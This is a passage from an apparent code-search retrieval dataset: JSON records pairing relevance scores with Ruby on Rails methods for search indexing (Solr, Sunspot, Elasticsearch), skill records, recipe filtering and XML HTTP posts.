submitter_matches&.map { |t| t.slice('_id', 'subject') },\n '_organization' => organization_matches&.map { |t| t.slice('_id', 'name') },\n }.merge(matched_object)\n\n end \n end\n end", "title": "" }, { "docid": "aa9e994e0a26d25a180e7f86aad67a69", "score": "0.52342975", "text": "def index_keywords!\n all.each { |d| d.index_keywords! }\n end", "title": "" }, { "docid": "ba58109e8ddfcd0b87f28e0d5d6b3f95", "score": "0.5223845", "text": "def save_indexes\n self.class.indexes.each do |name, index|\n index.save(self)\n end\n end", "title": "" }, { "docid": "7f0e22bc765897b040184a2536ca53db", "score": "0.5215541", "text": "def search\n \n search = params[:search]\n miniresume = params[:miniresume]\n location = params[:location]\n\n #thinking_sphinx conditions - \n @adviceposts = Advicepost.search(search,miniresume,location,page: 1, per_page: 25)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @adviceposts }\n end\n end", "title": "" }, { "docid": "5b37b4acf37ced381c0f7defe44dcc4d", "score": "0.52126646", "text": "def update_in_index\n __elasticsearch__.index_document\n\n index_dependent_models.map(&:update_in_index)\n end", "title": "" }, { "docid": "bb4961e5efacc8620ea52a2aad506ff8", "score": "0.5184417", "text": "def update_tank_indexes\n if tanker_indexable?\n tanker_config.index.add_document(\n it_doc_id, tanker_index_data, tanker_index_options\n )\n else\n delete_tank_indexes\n end\n end", "title": "" }, { "docid": "fbe2211b34dcf7027df590f6785400de", "score": "0.5178866", "text": "def index\n if params[:search]\n @tutorials = Tutorial.search(params[:search]).order(\"created_at DESC\")\n else\n @tutorials = Tutorial.all.order('created_at DESC')\n end\n=begin\n #for sunspot\n @search = Tutorial.search do\n fulltext params[:search]\n end\n @tutorials = @search.results\n=end\n end", "title": "" }, { "docid": "2c87ba348bfe59488ce340a207781531", "score": "0.5178516", "text": "def save_and_index(reindex_options: {}, **args)\n save(*args) && reindex_later(**reindex_options)\n end", "title": "" }, { "docid": "4159e190b0d900aa5b61356c9125f1eb", "score": "0.51772", "text": "def team_search_params\n params.permit(:match_day_team_ids, :keyword)\n end", "title": "" }, { "docid": "5df90c6781f019b62a7b079b22419bc5", "score": "0.5166575", "text": "def index\n @s_skills = SSkill.all\n end", "title": "" }, { "docid": "e3c18b7f18621c4bcc3d67077b1bf1f7", "score": "0.5164509", "text": "def to_solr\n as_index_document\n end", "title": "" }, { "docid": "b370b09cdf189d2ade7a7f067f61fcb7", "score": "0.51635176", "text": "def search\n\n # define the elasticsearch result \"size\" (limit)\n limit = params['limit'].to_i\n # define the elasticsearch result \"from\" (offset)\n offset = params['offset'].to_i\n # Pass through\n hack = params['hack']\n # Default output\n searchResults = ''\n # If we have filters, we need to parse them\n if params['filters'].present?\n filters = []\n # For each of the filters format them and stuff them into an array\n params['filters'].each do |key, filter|\n\n if [\n 'properties.educationalAlignment.properties.targetName',\n 'properties.inLanguage',\n 'properties.isBasedOnUrl',\n 'properties.thumbnailUrl',\n 'properties.timeRequired',\n 'properties.typicalAgeRange',\n 'properties.url',\n 'properties.useRightsUrl'\n ].include?(key)\n searchKey = \"schema-org.#{key}.original\"\n matchTerm = 'term'\n else\n searchKey = \"schema-org.#{key}\"\n matchTerm = 'match'\n end\n\n if filter.keys.count > 1\n # This is more complex because this filter type needs the keys or'd together\n orFilters = []\n filter.keys.each do |f|\n orFilters << { 'query' => { matchTerm => { searchKey => f.to_s } } }\n end\n filters << { 'or' => orFilters }\n else\n # This should be simple, there is only one of this filter key\n filters << { 'query' => { matchTerm => { searchKey => filter.keys.first.to_s } } }\n end\n end\n\n # If the query is present we need to match it\n if params['query'].present?\n query = { 'match' => { '_all' => params['query'] } }\n filter = { 'and' => filters }\n # If no query is present then we can wildcard against anything\n else\n query = { 'match_all' => { } }\n filter = { 'and' => filters }\n end\n # if not filter is present then just match against query\n else\n query = { 'match' => { '_all' => params['query'] } }\n end\n\n # Build the payload from the various parts\n payload = {\n 'size' => limit,\n 'from' => offset,\n 'query' => {\n 'filtered' => {\n 'query' => query,\n 'filter' => filter\n }\n },\n \"facets\" => {\n \"intendedEndUserRole\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.intendedEndUserRole.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"typicalAgeRange\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.typicalAgeRange.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"educationalUse\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.educationalUse.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"interactivityType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.interactivityType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"learningResourceType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.learningResourceType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"mediaType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.mediaType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n }\n }\n }\n\n#puts \"PAYLOAD\"; puts Rails.configuration.elastic_search_url; puts payload.to_json\n\n # Okay after all that mess, lets make the request\n request = RestClient::Request.new( :method => :get, :url => Rails.configuration.elastic_search_url, :payload => payload.to_json )\n # Since this can error lets catch it\n begin\n searchResults = request.execute\n results = JSON.parse(searchResults)\n results[:hack] = hack\n\n#puts \"RESPONSE\"; puts results.to_json\n\n respond_to do |format|\n format.json { render json: results }\n end\n rescue => e\n # @TODO Need to return the correct error type and then an error message to be shown to user.\n respond_to do |format|\n format.json { render json: searchResults }\n end\n#puts \"ERROR!\"; puts e.response\n end\n\n end", "title": "" }, { "docid": "d9c049ebac8022a35b2f77ca1ec5c1ba", "score": "0.5160122", "text": "def reindex\n Sunspot.index!\n # puts 'reindexed'\n end", "title": "" }, { "docid": "212846c29d732859cbe723d81178b0f3", "score": "0.5159635", "text": "def bulk\n authorize Score\n\n scores = params[:missing].map do |uid|\n Assessment.find(params[:id]).strands.map do |s|\n {\n score: 0,\n drop: false,\n user_id: uid,\n assessment_id: params[:id],\n strand_id: s.id,\n note: 'Assignment not done.',\n post_id: nil\n }\n end\n end\n\n scores.map do |assessment|\n assessment.map do |strand|\n Score.create strand\n end\n end\n\n redirect_to :back # Should take us back to the Assessment scoring page.\n end", "title": "" }, { "docid": "48ec022873b10268383c801624d1c139", "score": "0.5159362", "text": "def fulltext_to_solr\n @solr_document[\"text\"] ||= []\n json = get_json\n \n unless json.nil?\n i = 1\n Array.wrap(json[\"pages\"]).each do |p|\n \n xml = get_alto(i.to_s)\n unless xml.nil?\n alto = Stanford::AltoParser.new\n parser = Nokogiri::XML::SAX::Parser.new(alto)\n parser.parse(xml)\n @solr_document[\"text\"] << alto.text.strip\n i += 1\n end\n end\n end\n end", "title": "" }, { "docid": "d5df03a5efc44e594bc995dff194133e", "score": "0.51570666", "text": "def reindex!\n indexed if generate_solr_index\n end", "title": "" }, { "docid": "5b7c943e6866c205ced172c5f941e109", "score": "0.5150165", "text": "def update_index\n SolrService.add(to_solr, softCommit: true)\n end", "title": "" }, { "docid": "72c4b003000bd4382eaf9b1a90deac71", "score": "0.5139945", "text": "def search(wd)\n\tpage = Query::Engine::Baidu.query(wd)\n\t#page.seo_rank #it seems that the seo_rank of baidu is not complete crawled the search page\n\trelated_keywords_baidu = page.related_keywords \n\trelated_keywords_baidu.each do |keywords| # save each keywords into database unless the word is exist already.\n\t\tnext unless RelateWorld.find_by_keyword(keywords) == nil\n\t\trelate = RelateWorld.new\n\t\trelate.keyword = keywords\n\t\trelate.save\n\tend \nend", "title": "" }, { "docid": "274faab7697d16c072d4537ca73c782f", "score": "0.5137062", "text": "def update_skills(pokemon)\n pokemon.skills_set.compact!\n @skills.each_with_index do |skill_stack, index|\n skill_stack.data = pokemon.skills_set[index]\n end\n end", "title": "" }, { "docid": "953a580d3e778ec00bcd6a6278d44df4", "score": "0.5127171", "text": "def reindex!\n self.index = {}\n data.each do |inventory_object|\n store_index_for(inventory_object)\n end\n end", "title": "" }, { "docid": "d5e9236bc52c097362967c4c58c10464", "score": "0.51052815", "text": "def add_skills(skill_hash)\n char_skill_levels = self.skill_levels\n \n update_hash = Hash.new\n \n # For each character skill_level, index the \n # skill_level object with the skill name\n char_skill_levels.each do |sk|\n update_hash[sk.skill.name] = sk\n end\n\n skill_hash.each do |name, value|\n begin\n update_hash[name].level = value\n rescue NoMethodError\n sk = Skill.find_by_name( name )\n sl = SkillLevel.new\n sl.level = value\n sl.skill = sk\n skill_levels << sl\n end\n end\n \n update_hash.each do |k,v|\n v.save if v.changed?\n end\n end", "title": "" }, { "docid": "80b355a60a52f7d3195318e84d640f79", "score": "0.51038826", "text": "def index\n @special_skills = SpecialSkill.all\n end", "title": "" }, { "docid": "0573996422319274e9e8e970edd56930", "score": "0.51027554", "text": "def index\n @searchterms = Searchterm.all\n end", "title": "" }, { "docid": "66cdcda44afd87fc14c2581914ce5b42", "score": "0.5076223", "text": "def data=(pokemon)\n super\n self.index = index\n update_skills(pokemon)\n end", "title": "" }, { "docid": "56ff165c309d818e424714586fa9ebc3", "score": "0.5061058", "text": "def index\n # params = params.permit(:skills = [])\n # skills = params[:skills]\n # skills = skills.delete_if { |s| s.blank? }\n #\n # @projects = Project.where( # TODO\n\n @projects = Project.all\n end", "title": "" }, { "docid": "3187cb19361e7f3a2e0a74bf9ac4090f", "score": "0.5058072", "text": "def update_index\n if should_be_in_index?\n mapper.process_with([record]) do |context|\n writer.put(context)\n end\n else\n writer.delete(record.send(Kithe.indexable_settings.solr_id_value_attribute))\n end\n end", "title": "" }, { "docid": "4bf38b92d86688449de8507ff2e50433", "score": "0.50544715", "text": "def update_aggregates\n es_client.indices.refresh index: index_name\n self.update_attributes(\n num_users: sample_users.length,\n num_tweets: es_client.count(index: index_name)['count'],\n num_retweets: count_retweets,\n hashtags: MetadataHarvester.new(:hashtags, all_tweets).harvest,\n top_urls: MetadataHarvester.new(:urls, all_tweets).harvest,\n top_words: MetadataHarvester.new(:words, all_tweets).harvest,\n top_mentions: MetadataHarvester.new(:mentions, all_tweets).harvest,\n top_sources: MetadataHarvester.new(:sources, all_tweets).harvest,\n top_retweets: MetadataHarvester.new(:retweets, all_tweets).harvest\n )\n end", "title": "" }, { "docid": "1f04439476e9e2eb40e692ea8fd5c7ba", "score": "0.5050536", "text": "def set_note_skills\n note_skills.each do |skill|\n self.skills.find_or_create_by(name: skill.name)\n end\n end", "title": "" }, { "docid": "43dbe3056b376168c594492a826af2bb", "score": "0.50451195", "text": "def all_skills=(names)\n self.skills = names.split(\",\").map do |name|\n Skill.where(name: name.strip).first_or_create!\n end\n end", "title": "" }, { "docid": "b31e78ed2db776978cb040d46ea9149f", "score": "0.50414443", "text": "def index\n @current_skills = CurrentSkill.all\n end", "title": "" }, { "docid": "d64d5a4843441ba32943b8903993ae3c", "score": "0.5040343", "text": "def perform\n histories << SearchTermHistory.create\n touch # updated_at does not update automatically...\n end", "title": "" }, { "docid": "ebce3003414efe569e489479406bb4c5", "score": "0.50309676", "text": "def index\n @search_keywords = SearchKeyword.where(team_id: params[:team_id])\n end", "title": "" }, { "docid": "eca5828567c3b5b06af8179d11501294", "score": "0.50295746", "text": "def index\n authorize! :read, Recipe\n @query = params[:query]\n @search_result = Recipe.search do\n fulltext params[:query]\n if params[:course_type_ids].present?\n all_of do\n params[:course_type_ids].each do |filter|\n with(:course_type_ids, filter)\n end\n end\n end\n if params[:exclu_course_type_ids].present?\n all_of do\n params[:exclu_course_type_ids].each do |filter|\n without(:course_type_ids, filter)\n end\n end\n end\n if params[:difficulty].present?\n all_of do\n params[:difficulty].each do |filter|\n with(:difficulty, filter)\n end\n end\n end\n if params[:exclu_difficulty].present?\n all_of do\n params[:exclu_difficulty].each do |filter|\n without(:difficulty, filter)\n end\n end\n end\n if params[:cost].present?\n all_of do\n params[:cost].each do |filter|\n with(:cost, filter)\n end\n end\n end\n if params[:exclu_cost].present?\n all_of do\n params[:exclu_cost].each do |filter|\n without(:cost, filter)\n end\n end\n end\n if params[:category_ids].present?\n all_of do\n params[:category_ids].each do |filter|\n with(:category_ids, filter)\n end\n end\n end\n if params[:exclu_category_ids].present?\n all_of do\n params[:exclu_category_ids].each do |filter|\n without(:category_ids, filter)\n end\n end\n end\n if params[:main_ingredient_ids].present?\n all_of do\n params[:main_ingredient_ids].each do |filter|\n with(:main_ingredient_ids, filter)\n end\n end\n end\n if params[:exclu_main_ingredient_ids].present?\n all_of do\n params[:exclu_main_ingredient_ids].each do |filter|\n without(:main_ingredient_ids, filter)\n end\n end\n end\n if params[:source_ids].present?\n all_of do\n params[:source_ids].each do |filter|\n with(:source_ids, filter)\n end\n end\n end\n if params[:exclu_source_ids].present?\n all_of do\n params[:exclu_source_ids].each do |filter|\n without(:source_ids, filter)\n end\n end\n end\n facet :course_type_ids\n facet :category_ids\n facet :main_ingredient_ids\n facet :source_ids\n facet :difficulty, :sort => :index\n facet :cost, :sort => :index\n paginate :page => params[:page] || 1, :per_page => 10\n order_by(:score, :desc)\n order_by(:created_at, :desc)\n end\n @query_params = params.except( :page )\n \n filters = [\n :course_type_ids, \n :exclu_course_type_ids, \n :difficulty, \n :exclu_difficulty, \n :cost, \n :exclu_cost, \n :category_ids, \n :exclu_category_ids, \n :main_ingredient_ids, \n :exclu_main_ingredient_ids, \n :source_ids, \n :exclu_source_ids\n ]\n filters.each do |filter|\n if params[filter].present?\n params[filter].map!{ |x| x.to_i }\n end\n end\n \n # @search_result.facet(:main_ingredient_ids).rows.sort!{|a,b| (a.count <=> b.count) == 0 ? (a.instance.name <=> b.instance.name) : (a.count <=> b.count)*(-1) }\n # @search_result.facet(:course_type_ids).rows.sort!{|a,b| (a.count <=> b.count) == 0 ? (a.instance.name <=> b.instance.name) : (a.count <=> b.count)*(-1) }\n # @search_result.facet(:category_ids).rows.sort!{|a,b| (a.count <=> b.count) == 0 ? (a.instance.name <=> b.instance.name) : (a.count <=> b.count)*(-1) }\n # @search_result.facet(:source_ids).rows.sort!{|a,b| (a.count <=> b.count) == 0 ? (a.instance.name <=> b.instance.name) : (a.count <=> b.count)*(-1) }\n \n sort_alphabetical(@search_result.facet(:main_ingredient_ids).rows)\n sort_alphabetical(@search_result.facet(:course_type_ids).rows)\n sort_alphabetical(@search_result.facet(:category_ids).rows)\n sort_alphabetical(@search_result.facet(:source_ids).rows)\n end", "title": "" }, { "docid": "e0676b6ac6864b89f272d2755a839641", "score": "0.50220394", "text": "def add_skills(skill_names,created_by_id)\r\n job_seeker = JobSeeker.find(created_by_id)\r\n JobSeekerProficiency.delete_all(\"job_seeker_id = '#{self.id}'\")\r\n \r\n for skill in skill_names\r\n\r\n skill_split = skill.split(\"__\");\r\n skill_obj = Proficiency.find_by_name(skill_split[0])\r\n if skill_obj.nil?\r\n skill_obj = Proficiency.create({:name=>skill_split[0],:created_by=>created_by_id,:activated=>\"0\"})\r\n end\r\n\r\n JobSeekerProficiency.create!(:job_seeker_id => created_by_id, :proficiency_id => skill_obj.id, :education_id => skill_split[1].split(\"_\")[0], :skill_id => skill_split[2].split(\"_\")[0])\r\n\r\n end\r\n end", "title": "" }, { "docid": "98f1a7d2b91a9965379af41a901552f0", "score": "0.501869", "text": "def add_to_index(records, **opt)\n fields = records.map(&:emma_metadata)\n $stderr.puts \"=== STEP #{__method__} | #{Emma::ThreadMethods.thread_name} | #{records.size} recs = #{records.map { |r| manifest_item_id(r) }} | #{fields.size} fields = #{fields.inspect.truncate(1024)}\" # TODO: testing - remove\n result = ingest_api.put_records(*fields)\n remaining, failure = process_ingest_errors(result, *records)\n\n opt[:success] = 'indexed' # TODO: I18n\n opt[:meth] = __method__\n opt[:initial] = { failure: failure }\n\n now = DateTime.now\n run_step(remaining, **opt) do |_id, rec|\n rec.update_columns(last_indexed: now)\n end\n end", "title": "" }, { "docid": "0c7573005acf4852df757a8b7fc7ee1a", "score": "0.5013106", "text": "def index\n @search = Sunspot.search Generator do\n fulltext params[:query_generator]\n end\n @generators = @search.results\n respond_to do |format|\n format.html\n format.json {render :json => @generators.map(&:attributes) }\n end\nend", "title": "" }, { "docid": "04f33c79334d1d51d5178dd31448ab4f", "score": "0.5010904", "text": "def index\n # Generate sunspot search\n @records = record_default_search\n\n respond_with(@records)\n end", "title": "" }, { "docid": "17f48fd39f83ea4243a3c1ad7dffe7f6", "score": "0.50103396", "text": "def all_skills=(names)\n self.skills = names.split(',').map do |name|\n Skill.where(name: name.strip).first_or_create!\n end\n end", "title": "" }, { "docid": "715effd37b0f63949260587a14ec54c9", "score": "0.50076485", "text": "def create\n # 検証。同一スキルカテゴリIDかつ同一スキル名を持っている場合はエラー\n @exist = Skill.where(skill_category_id: skill_params[:skill_category_id]).where(skill_name: skill_params[:skill_name])\n\n @skill = Skill.new(skill_params)\n @skill.has_learning_level=true\n \n logger.debug(\"skill\")\n logger.debug(@skill)\n\n if @exist.present? \n render json:{errors: 'already exists.', status: :unprocessable_entity }\n else\n if @skill.save\n render json:{skill: @skill}\n else\n render json:{errors: @skill.errors, status: :unprocessable_entity }\n end\n end\n\n end", "title": "" }, { "docid": "453127135ad13b10e191796a91d3dc9c", "score": "0.5002888", "text": "def solr_during_indexing\n {\n \"has_model_ssim\" => [\"Collection\"],\n :id => object.id,\n \"title_tesim\" => [object.title.first.to_s],\n \"title_sim\" => [object.title.first.to_s],\n \"collection_type_gid_ssim\" => [object.collection_type_gid],\n \"ark_ssi\" => object.ark,\n \"ursus_id_ssi\" => Californica::IdGenerator.blacklight_id_from_ark(object.ark),\n \"member_ids_ssim\" => [],\n \"object_ids_ssim\" => [],\n \"member_of_collection_ids_ssim\" => [], \"collection_ids_ssim\" => [],\n \"generic_type_sim\" => [\"Collection\"],\n \"bytes_lts\" => 0,\n \"visibility_ssi\" => \"restricted\"\n }\n end", "title": "" }, { "docid": "33fee18cd8c49940502b0ac836386931", "score": "0.50020325", "text": "def index\n set_experiments \n end", "title": "" }, { "docid": "1fcda62f85e342729b8143a4697f3645", "score": "0.5001029", "text": "def create\n @custom_search_engine = CustomSearchEngine.new(params[:custom_search_engine])\n @custom_search_engine.author = current_user\n @custom_search_engine.status = 'draft'\n @custom_search_engine.annotations.each do |a|\n prefix = a.about.slice(/http(s)?:\\/\\//)\n a.about = prefix.nil? ? \"http://#{a.about}\" : \"#{a.about}\"\n end\n respond_to do |format|\n if @custom_search_engine.save\n add_cse_to_dashboard(@custom_search_engine)\n link_cse(@custom_search_engine)\n flash[:success] = I18n.t('human.success.create', \n item: I18n.t('human.text.cse'))\n format.html { redirect_to node_cse_path(@node, @custom_search_engine)}\n format.json { render json: @custom_search_engine, status: :created, \n location: @custom_search_engine }\n else\n format.html { render action: \"new\" }\n format.json { render json: @custom_search_engine.errors, \n status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4d377e0a65ebd20c56fab18e2661dc13", "score": "0.49998048", "text": "def reindex!\n doc = {:id => neo_node_id }\n self.class.index_updaters.each_value do |updater|\n updater.call(self, doc)\n end\n lucene_index << doc\n end", "title": "" }, { "docid": "eef3546abd671ccbb4aab285358b8f27", "score": "0.4992905", "text": "def as_indexed_json(options={})\n # we want the indexing data at the \"top level\" of the document,\n # and not as sub-hash under the 'indexing-data' field\n record = as_json(except: [:indexing_data])\n\n if (indexing_data)\n index_data_hash = JSON.parse(indexing_data)\n if index_data_hash.is_a? Hash\n record = record.merge(index_data_hash)\n end\n end\n\n if (record['resource_type'].to_i == Resource::COLLECTION_OBJECT)\n record['on_display'] = record['on_display'] == 1 ? \"1\" : \"0\"\n end\n\n # pseudo fields\n record['author'] = [self.get_author_name(omit_email: true), self.get_author_name(omit_email: true, force_cataloguer: true), self.author_name]\n record['role'] = record['affiliation'] = self.roles.pluck(\"name\")\n \n \n record['tag'] = self.tags.pluck(\"tag\")\n record['keyword'] = self.vocabulary_terms.pluck(\"term\") + self.vocabulary_term_synonyms.pluck(\"synonym\")\n record['terms'] = (record['keywords'] ? record['keywords'].split(/\\|/) : []) + record['keyword'] + record['tag']\n\n record['start_date'] = record['start_date'].to_i\n record['end_date'] = record['end_date'].to_i\n\n # Index ACL values\n # record['read_users'] = ResourcesUser.where({resource_id: self.id, access: 1}).pluck(:user_id)\n# record['edit_users'] = ResourcesUser.where({resource_id: self.id, access: 2}).pluck(:user_id)\n# record['read_groups'] = ResourcesGroup.where({resource_id: self.id, access: 1}).pluck(:group_id)\n# record['edit_groups'] = ResourcesGroup.where({resource_id: self.id, access: 2}).pluck(:group_id)\n\n # ActiveRecord is not able to see existing records once a new record is created. Is this due to the query cache?\n # Tried to disable the query cache in this context but it didn't make a difference. Using raw SQL works so that's\n # what we do, despite it being ugly\n\n record['read_users'] = []\n record['edit_users'] = []\n record['read_groups'] = []\n record['edit_groups'] = []\n\n recs = ActiveRecord::Base.connection.execute(\"SELECT user_id FROM resources_users WHERE resource_id = \" + self.id.to_s + \" AND access = 1\")\n recs.each do |rec| \n record['read_users'].push(rec[0].to_i)\n end\n recs = ActiveRecord::Base.connection.execute(\"SELECT user_id FROM resources_users WHERE resource_id = \" + self.id.to_s + \" AND access = 2\")\n recs.each do |rec| \n record['edit_users'].push(rec[0].to_i)\n end\n recs = ActiveRecord::Base.connection.execute(\"SELECT group_id FROM resources_groups WHERE resource_id = \" + self.id.to_s + \" AND access = 1\")\n recs.each do |rec| \n record['read_groups'].push(rec[0].to_i)\n end\n recs = ActiveRecord::Base.connection.execute(\"SELECT group_id FROM resources_groups WHERE resource_id = \" + self.id.to_s + \" AND access = 2\")\n recs.each do |rec| \n record['edit_groups'].push(rec[0].to_i)\n end\n \n # break out other date types\n other_date_regexp = Regexp.new(\"\\\\(([^\\\\)]+)\\\\)\")\n if (m = other_date_regexp.match(record['other_dates']))\n record['other_date_types'] = m[1]\n end\n\n\n # index idno's of collection objects used as media\n collection_identifiers = []\n self.media_files.each do |m|\n if (m.sourceable.respond_to? (:get_collection_identifier))\n collection_identifiers.push(m.sourceable.get_collection_identifier)\n end\n end\n #puts collection_identifiers.inspect if (collection_identifiers.length > 0)\n record['related_collection_objects'] = collection_identifiers.join(\"; \")\n\n # index average rating for this resource\n record['rating'] = avg_rating.to_i\n\n record\n end", "title": "" }, { "docid": "0a344ce215986e90079450d3aa25f253", "score": "0.4991575", "text": "def index\n @keywords = Keyword.all\n\n # @new_kw = Keyword.new\n# \n # @new_kw.words = \"米国 米 アメリカ\"\n # @new_kw.save\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @keywords }\n end\n end", "title": "" }, { "docid": "158b40936273ee795760a96a684aab3c", "score": "0.49908134", "text": "def bulk(actions)\n raise NotImplemented, \"You must implement this yourself\"\n # bulk([\n # '{ \"index\" : { \"_index\" : \"test\", \"_type\" : \"type1\", \"_id\" : \"1\" } }',\n # '{ \"field1\" : \"value1\" }'\n #])\n end", "title": "" }, { "docid": "25311e1c9797ba8af94c34acf65033b1", "score": "0.49890706", "text": "def index_all\n puts \"Indexing everything\"\n MojoDNA::Searchable::RemoteSearchable::searcher.push( [:index_all, self.inspect.to_s, nil] )\n end", "title": "" }, { "docid": "c1af2e8ae8d03f00aa69bebae7fe1cac", "score": "0.49864867", "text": "def index\n @projects_skills = ProjectsSkill.all\n end", "title": "" }, { "docid": "f5d3c2f58f80244376b98bf19ae83a20", "score": "0.49829173", "text": "def index\n @hp_searches = HpSearch.all\n end", "title": "" }, { "docid": "5521890d592ee6e4b0989b2e7866c01e", "score": "0.497242", "text": "def save_index\r\n # if validate_markdown_repo\r\n\r\n # Write full list to json file\r\n open(INDEX_PATH, 'w') do |f|\r\n f.puts JSON.pretty_generate @index\r\n end\r\n\r\n commit_markdown_repo(@today, ar_add=nil, message='index ')\r\n # end\r\n end", "title": "" } ]
76195ea9b6ff316932f1d2ff33253f43
POST /chirps POST /chirps.xml
[ { "docid": "f2dfbe0bd16a406380dfddb737d1ae48", "score": "0.0", "text": "def create\n @chirp = Chirp.new(params[:chirp])\n\n @chirp.user_id = current_user.id\n if @chirp.save\n flash[:notice] = 'Chirp was successfully created.'\n redirect_to :action => \"index\"\n end\n end", "title": "" } ]
[ { "docid": "c78e0b38d566040be49ce816aa8db91e", "score": "0.5568519", "text": "def post(xmldoc)\n headers = {'Content-Type' => 'text/xml'}\n check_response( @httpcli.post(@endpoint, xmldoc, headers) )\n end", "title": "" }, { "docid": "449fca18051de18a19a3ddb3a63b8bf9", "score": "0.5458042", "text": "def send_request( xml )\n write( xml )\n read\n end", "title": "" }, { "docid": "d575797198183da6e04a8337378715bc", "score": "0.5394839", "text": "def create\n @ru_pusk = RuPusk.new(params[:ru_pusk])\n\n respond_to do |format|\n if @ru_pusk.save\n format.html { redirect_to(@ru_pusk, :notice => 'Ru pusk was successfully created.') }\n format.xml { render :xml => @ru_pusk, :status => :created, :location => @ru_pusk }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ru_pusk.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9b6c6d10a4d48b619febf6622743e195", "score": "0.527085", "text": "def post_query( xml )\n url = URI.parse( self.url )\n response = self.http.post_form( url, { \"query\" => xml } )\n return response.body\n end", "title": "" }, { "docid": "6e85fc82fa73d98c11c2cbed301e1318", "score": "0.5211848", "text": "def post(method, params = {})\n url = make_url method, params\n query = url.query\n url.query = nil\n\n req = Net::HTTP::Post.new url.path\n req.body = query\n req.content_type = 'application/x-www-form-urlencoded'\n\n res = Net::HTTP.start url.host, url.port do |http|\n http.request req\n end\n\n xml = Nokogiri::XML(res.body, nil, nil, 0)\n\n check_error xml\n\n parse_response xml\n rescue SystemCallError, SocketError, Timeout::Error, IOError,\n Nokogiri::XML::SyntaxError => e\n raise CommunicationError.new(e)\n rescue Net::HTTPError => e\n xml = Nokogiri::XML(e.res.body) { |cfg| cfg.strict }\n check_error xml\n raise CommunicationError.new(e)\n end", "title": "" }, { "docid": "501aec595e2503c610a5f16ee5dc28dc", "score": "0.5187817", "text": "def make_request\n if @test\n host = 'wwwcie.ups.com'\n else\n host = 'www.ups.com'\n end\n\n path = \"/ups.app/xml/Rate\"\n server = Net::HTTP.new(host, 443)\n data = @xml_pieces.collect{|p| p.to_s}.join(\"\\n\")\n if @debug\n File.open(@debug_request_path, 'w') do |file|\n file.puts data\n end\n end\n headers = { \"Content-Type\" => \"text/xml\"}\n server.use_ssl = true\n resp = server.post(path, data, headers)\n if @debug\n File.open(@debug_response_path, 'w') do |file|\n file.puts resp.body\n end\n end\n prices = parse_response(resp.body)\n end", "title": "" }, { "docid": "f5bd67bd0658127da9b4b578ff657b49", "score": "0.51795185", "text": "def post_headers\n {\"Content-Type\" => 'text/xml; charset=utf-8'}\n end", "title": "" }, { "docid": "8d244c8e93c271a7e92ea1ee63d3dddc", "score": "0.51602983", "text": "def POST; end", "title": "" }, { "docid": "d280347edb504b0dfe606c1fc43f1ebc", "score": "0.5147697", "text": "def create\n @pithcher = Pithcher.new(pithcher_params)\n\n respond_to do |format|\n if @pithcher.save\n format.html { redirect_to @pithcher, notice: 'Pithcher was successfully created.' }\n format.json { render :show, status: :created, location: @pithcher }\n else\n format.html { render :new }\n format.json { render json: @pithcher.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9cf96f38dc025371acec30fef5762fc2", "score": "0.5089828", "text": "def create(name=\"Default Name\", age=\"50\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end", "title": "" }, { "docid": "d32bc9d6190cdf471de31135ddfb5ee4", "score": "0.50849015", "text": "def chirp_params\n params.require(:chirp).permit(:text)\n end", "title": "" }, { "docid": "1f65d228b5c42dc95679a7813d48fb7d", "score": "0.5074087", "text": "def create\n @rip = Rip.new(params[:rip]) \n respond_to do |format|\n if @rip.save\n format.html { redirect_to rip_url(@rip) }\n format.xml { head :created, :location => rip_url(@rip) }\n else\n format.html { render :action => 'new' }\n format.xml { render :xml => @rip.errors.to_xml }\n end\n end\n end", "title": "" }, { "docid": "299d4e863e9533da0eea6f01f4a017c6", "score": "0.50630265", "text": "def post_data(xml)\n \"load=#{CGI.escape(xml)}\"\n end", "title": "" }, { "docid": "4255e2e295c5f39bd0ddfed09a00afe9", "score": "0.50463146", "text": "def create\n @pashiri = Pashiri.new(pashiri_params)\n\n respond_to do |format|\n if @pashiri.save\n format.html { redirect_to @pashiri, notice: 'Pashiri was successfully created.' }\n format.json { render :show, status: :created, location: @pashiri }\n else\n format.html { render :new }\n format.json { render json: @pashiri.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "70da27054dc9a0c2d9588483d154907a", "score": "0.50309217", "text": "def create\n @chapitre = Chapitre.new(chapitre_params)\n\n respond_to do |format|\n if @chapitre.save\n format.html { redirect_to @chapitre, notice: 'Chapitre was successfully created.' }\n format.json { render :show, status: :created, location: @chapitre }\n else\n format.html { render :new }\n format.json { render json: @chapitre.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d9c9dd3ebdd50351cf8f20ca13971f9e", "score": "0.4999126", "text": "def post path_and_params, post_body\n start if not @pid\n @lock.synchronize do\n @last_use = Time.new.to_f\n\n # Make request to xtractr\n Net::HTTP.start('localhost', @port) do |http|\n http.request_post \"/#{path_and_params}\", post_body do |response|\n headers = {}\n response.each_header {|name,val| headers[name] = val}\n return response.code.to_i, headers, response.body\n end\n end\n end\n end", "title": "" }, { "docid": "fa8fcc23911ab0c33dc007eceacc29f5", "score": 